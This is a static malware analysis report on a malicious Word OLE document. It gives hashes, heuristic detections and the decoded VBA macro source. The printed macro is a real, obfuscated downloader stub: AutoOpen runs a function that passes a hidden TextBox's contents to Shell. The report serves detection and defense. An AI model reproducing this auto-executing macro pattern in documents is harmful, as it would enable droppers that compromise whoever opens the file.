Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c2d4ed46e476ba2…

MALICIOUS

Office (OLE)

122.5 KB Created: 2018-12-18 11:38:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: 8c815b0e5df17ad8c3d669337605198c SHA-1: 7e29c2543811f73608bec589041815b5c196883f SHA-256: 5c2d4ed46e476ba2d23eb96eb2dc30c96ff6415dec2e4353aef9e7cd167695b9
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of the 'oamYATJHD' function, which in turn calls the Shell() function. This is a common technique for downloading and executing secondary payloads. The presence of a cmd.exe invocation heuristic further supports this.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6787451-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6787451-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
FBLArXjO = Array(jYMcw, wTlJE, WNWLutu, Interaction.Shell(CleanString(mZTFlVEsfF.TextBox1), 17 - 17), HMlbSiawB)
   Select Case pdpimUPMhWQhuFRd
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
oamYATJHD
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 863 bytes
SHA-256: f018a3aa987902e9cd9cbf41b6439d83abac7bce724792757872f8b661a9d2fb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mZTFlVEsfF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
oamYATJHD
End Sub

Attribute VB_Name = "FwWzKdQCAO"
Function oamYATJHD()
On Error Resume Next
FBLArXjO = Array(jYMcw, wTlJE, WNWLutu, Interaction.Shell(CleanString(mZTFlVEsfF.TextBox1), 17 - 17), HMlbSiawB)
   Select Case pdpimUPMhWQhuFRd
            Case 208695676
            RTauarMzOUPAXwqFJYmzECF = 8232172
            idcwCBrdDUpmuDzSnG = Oct(zjwSqowtrjnOOYZsOjALTXX + CStr(dBTOUojQwLDojLlJFI + Log(1297441) - PFbNVLjinubaIfopViYCAXRD / Hex(141062371)))
      End Select
End Function

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